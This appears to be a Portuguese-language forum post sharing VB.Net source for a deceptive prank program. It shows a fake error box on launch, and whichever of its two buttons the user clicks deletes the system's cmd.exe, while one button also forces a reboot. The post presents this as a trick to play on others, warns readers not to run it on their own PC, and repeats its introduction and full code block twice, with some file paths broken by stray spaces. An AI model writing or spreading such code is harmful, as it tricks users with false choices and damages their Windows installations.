Tweet
Olá a todos. Eu bolei um esquema super básico no VB.Net, de tão básico chega a ser tosco.
Mas resolvi postar mesmo assim. Você precisará de 2 buttons (de preferencia no campo "text" dos botões, escreva: "SAIR"; 2 label; 2 timers (1 com o interval de "79 s" o outro com interval de "1 s") e criatividade no design do formulário.
Bom, vamos ao código o código:
O que o 'programa' faz é apagar o "cmd.exe" caso o usuário escolha o botão errado, mas a jogada é que por trás dos dois botões, o código é semelhante. Obviamente, não testem no seu pc, a não ser que você tenha o cd do XP à mão. Usem por sua conta e risco
Peço desculpas à ADM se postei conteúdo indevido, minha unica intenção é mostrar e divulgar o código, e não infligir nenhuma regra fo fórum.
Qualquer dúvida é só me perguntar. Obrigado!
Mas resolvi postar mesmo assim. Você precisará de 2 buttons (de preferencia no campo "text" dos botões, escreva: "SAIR"; 2 label; 2 timers (1 com o interval de "79 s" o outro com interval de "1 s") e criatividade no design do formulário.
Bom, vamos ao código o código:
Private int As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
MessageBox.Show("The requested operation could not be completed. Please try again later", "Error 81400003x1", MessageBoxButtons.RetryCancel, MessageBoxIcon.Error, MessageBoxDefaultButton.Button1)
Dim a As System.Drawing.Point
a.X = 195
a.Y = 4
Label1.Location = a
int = 0
Timer1.Enabled = True
Timer2.Enabled = True
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
MessageBox.Show("Você vai mesmo precisar de ajuda.", "Escolha Errada!", MessageBoxButtons.RetryCancel, MessageBoxIcon.Asterisk, MessageBoxDefaultButton.Button1)
Dim alvo As String
alvo = "C:\WINDOWS\system32\cmd.exe"
Kill(alvo)
System.Diagnostics.Process.Start("C:\WINDOWS\clock .avi")
System.Diagnostics.Process.Start("C:\WINDOWS\syste m32\oobe\images\title.wma")
System.Diagnostics.Process.Start("ShutDown", "-r -t 13")
Close()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If Label1.Location.X > -718 Then
Dim a As System.Drawing.Point
a.X = Label1.Location.X - 1
a.Y = 4
Label1.Location = a
Else
Dim a As System.Drawing.Point
a.X = 195
a.Y = 4
Label1.Location = a
End If
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Label3.Text = DateTime.Now.ToLongTimeString
If int = 0 Then
Label2.ForeColor = Color.DodgerBlue
int = 1
Exit Sub
End If
If int = 1 Then
Label2.ForeColor = Color.Black
int = 2
Exit Sub
End If
If int = 2 Then
Label2.ForeColor = Color.OrangeRed
int = 3
Exit Sub
End If
If int = 3 Then
Label2.ForeColor = Color.Firebrick
int = 4
Exit Sub
End If
If int = 4 Then
Label2.ForeColor = Color.AliceBlue
int = 5
Exit Sub
End If
If int = 5 Then
Label4.ForeColor = Color.Pink
int = 0
Exit Sub
End If
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Dim alvo2 As String = "C:\WINDOWS\System32\cmd.exe"
Kill(alvo2)
Close()
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
MessageBox.Show("The requested operation could not be completed. Please try again later", "Error 81400003x1", MessageBoxButtons.RetryCancel, MessageBoxIcon.Error, MessageBoxDefaultButton.Button1)
Dim a As System.Drawing.Point
a.X = 195
a.Y = 4
Label1.Location = a
int = 0
Timer1.Enabled = True
Timer2.Enabled = True
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
MessageBox.Show("Você vai mesmo precisar de ajuda.", "Escolha Errada!", MessageBoxButtons.RetryCancel, MessageBoxIcon.Asterisk, MessageBoxDefaultButton.Button1)
Dim alvo As String
alvo = "C:\WINDOWS\system32\cmd.exe"
Kill(alvo)
System.Diagnostics.Process.Start("C:\WINDOWS\clock .avi")
System.Diagnostics.Process.Start("C:\WINDOWS\syste m32\oobe\images\title.wma")
System.Diagnostics.Process.Start("ShutDown", "-r -t 13")
Close()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If Label1.Location.X > -718 Then
Dim a As System.Drawing.Point
a.X = Label1.Location.X - 1
a.Y = 4
Label1.Location = a
Else
Dim a As System.Drawing.Point
a.X = 195
a.Y = 4
Label1.Location = a
End If
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Label3.Text = DateTime.Now.ToLongTimeString
If int = 0 Then
Label2.ForeColor = Color.DodgerBlue
int = 1
Exit Sub
End If
If int = 1 Then
Label2.ForeColor = Color.Black
int = 2
Exit Sub
End If
If int = 2 Then
Label2.ForeColor = Color.OrangeRed
int = 3
Exit Sub
End If
If int = 3 Then
Label2.ForeColor = Color.Firebrick
int = 4
Exit Sub
End If
If int = 4 Then
Label2.ForeColor = Color.AliceBlue
int = 5
Exit Sub
End If
If int = 5 Then
Label4.ForeColor = Color.Pink
int = 0
Exit Sub
End If
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Dim alvo2 As String = "C:\WINDOWS\System32\cmd.exe"
Kill(alvo2)
Close()
End Sub
O que o 'programa' faz é apagar o "cmd.exe" caso o usuário escolha o botão errado, mas a jogada é que por trás dos dois botões, o código é semelhante. Obviamente, não testem no seu pc, a não ser que você tenha o cd do XP à mão. Usem por sua conta e risco
Peço desculpas à ADM se postei conteúdo indevido, minha unica intenção é mostrar e divulgar o código, e não infligir nenhuma regra fo fórum.
Qualquer dúvida é só me perguntar. Obrigado!
Comment